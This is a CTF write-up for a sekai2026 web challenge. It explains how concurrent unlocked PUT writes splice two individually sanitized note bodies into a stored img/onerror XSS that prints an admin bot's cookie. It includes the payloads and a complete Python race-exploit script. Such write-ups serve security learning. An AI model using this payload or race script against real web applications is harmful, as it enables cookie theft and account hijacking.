lt-w / <\w+ / less_than_w_plus
lt-w / <\w+ / less_than_w_plus
Platform: sekai2026 | Category: Web | Type: Challenge | Difficulty: Normal | OS: NA | Author: XESXOR | Date: 2026-06-29 | Status: Solved Techniques: concurrent_put_race, console_cookie_exfiltration, file_write_splicing, stored_xss
Summary
Task: a Go note app sanitizes each message and serves stored files as HTML to an admin bot. Solution: race concurrent PUT writes so two individually safe sanitized bodies splice into an executable img/onerror tag.
lt-w / <\w+ / less_than_w_plus — sekai2026
Description
Original organizer task description was not available in the solving notes.
English summary: the challenge provided a Go note application and an admin bot. The goal was to make the bot visit an attacker-controlled note and print its FLAG cookie to the console.
Analysis
The application stores notes as files under /app/notes/{uuid} and serves them with:
http read-only • copy allowedContent-Type: text/html;charset=utf-8
Creating or updating a note runs this sanitizer in app/main.go:
go read-only • copy allowedsanitized := bluemonday.StrictPolicy().Sanitize(msg) sanitized = strings.ReplaceAll(sanitized, "<", "<") sanitized = strings.ReplaceAll(sanitized, ">", ">") sanitized = regexp.MustCompile(`<(/)?\w+`).ReplaceAllString(sanitized, "")
Per request this looks fairly strong for normal stored XSS. Encoded tags are decoded and then the final regex removes any < followed by an optional slash and a word character. For example, <img/src/onerror=console.log(document.cookie)> becomes only the attribute fragment src/onerror=console.log(document.cookie)>, not an element.
The important bug was not inside the HTML parser or bluemonday. It was in the update path:
go read-only • copy allowedf, _ := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644) f.Write([]byte(sanitized))
There was no locking. Concurrent PUT /notes/{id} requests can open/truncate/write the same file at overlapping times. Each request writes a body that was safe by itself, but a later short write can overwrite the beginning of a longer write and create unsafe HTML in the final file.
The admin bot sets FLAG as a cookie for ltw.chals.sekai.team, visits https://ltw.chals.sekai.team/notes/{uuid}, and logs browser console output. CSP is restrictive for external resources but allows inline JavaScript:
http read-only • copy alloweddefault-src 'none'; script-src 'unsafe-inline'
So console.log(document.cookie) is enough for exfiltration.
Failed Leads
- Direct encoded tags were reduced to harmless fragments, e.g.
<img...>becamesrc=...>after the regex. - Literal NULL variants such as
<\x00imgand<\x00script>did not become working Chrome tags. - The old bluemonday CVE-2021-29272 / GHSA-3x58-xr87-2fcj
scrİptbypass was patched in the used version, v1.0.27. golang.org/x/net/htmlCVE-2025-22872 and CVE-2026-42502 style parser differentials were investigated, butStrictPolicyplus the final regex killed the tested payload families.- Bot/proxy tricks were unnecessary because the UUID-only bot URL and fixed response headers did not expose the cookie without script execution.
Solution
Use two individually safe payloads against the same note ID:
-
Payload A:
text read-only • copy allowedmessage=<After sanitization this becomes the one-byte string:
html read-only • copy allowed< -
Payload B:
text read-only • copy allowedmessage=Bimg/src/onerror=console.log(document.cookie)>It contains no
<\w+opener, so it remains:html read-only • copy allowedBimg/src/onerror=console.log(document.cookie)>
Race many concurrent PUT requests with these two bodies. The winning interleaving is:
-
Payload B opens the file, truncates it, and writes
Bimg/src/onerror=console.log(document.cookie)>. -
Payload A, already opened on the same file, writes its single byte
<at offset0afterward. -
The final file becomes:
html read-only • copy allowed<img/src/onerror=console.log(document.cookie)>
Chrome treats the slash after img as an attribute separator, producing an image element roughly equivalent to:
html read-only • copy allowed<img src="" onerror="console.log(document.cookie)">
The empty/broken image source triggers onerror, and the bot prints the cookie.
Production was verified with note ID:
text read-only • copy allowedf3a3ea11-df14-4d8f-9998-110ee1b4ee5e
whose final body was:
html read-only • copy allowed<img/src/onerror=console.log(document.cookie)>
The admin bot log contained:
text read-only • copy allowedconsole.log: FLAG=SEKAI{REDACTED}
Exploit Sketch
The working script was saved as tasks/sekai2026/lt-w/race_put.py. Its core logic is:
python read-only • copy allowed#!/usr/bin/env python3 import concurrent.futures import re import urllib.parse import urllib.request BASE = "https://ltw.chals.sekai.team" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): return None opener = urllib.request.build_opener(NoRedirect) def request(method, path, data=None): body = None if data is None else urllib.parse.urlencode(data).encode() req = urllib.request.Request(BASE + path, data=body, method=method) try: return opener.open(req, timeout=10).read() except urllib.error.HTTPError as e: return e.read() def create_note(): req = urllib.request.Request( BASE + "/create", data=urllib.parse.urlencode({"message": "x"}).encode(), method="POST", ) try: resp = opener.open(req, timeout=10) loc = resp.headers.get("Location") except urllib.error.HTTPError as e: loc = e.headers.get("Location") return re.search(r"/notes/([0-9a-fA-F-]+)", loc).group(1) def put(note_id, msg): request("PUT", f"/notes/{note_id}", {"message": msg}) def get(note_id): return urllib.request.urlopen(BASE + f"/notes/{note_id}", timeout=10).read().decode() def race_once(note_id, workers=80): payloads = ["<", "Bimg/src/onerror=console.log(document.cookie)>"] with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex: futures = [ex.submit(put, note_id, payloads[i & 1]) for i in range(workers)] for f in futures: try: f.result() except Exception: pass return get(note_id) note_id = create_note() for i in range(200): body = race_once(note_id) if body.startswith("<img") or body.startswith("<img/"): print("HIT", note_id, repr(body)) break
After a hit, submit the note ID to the admin bot.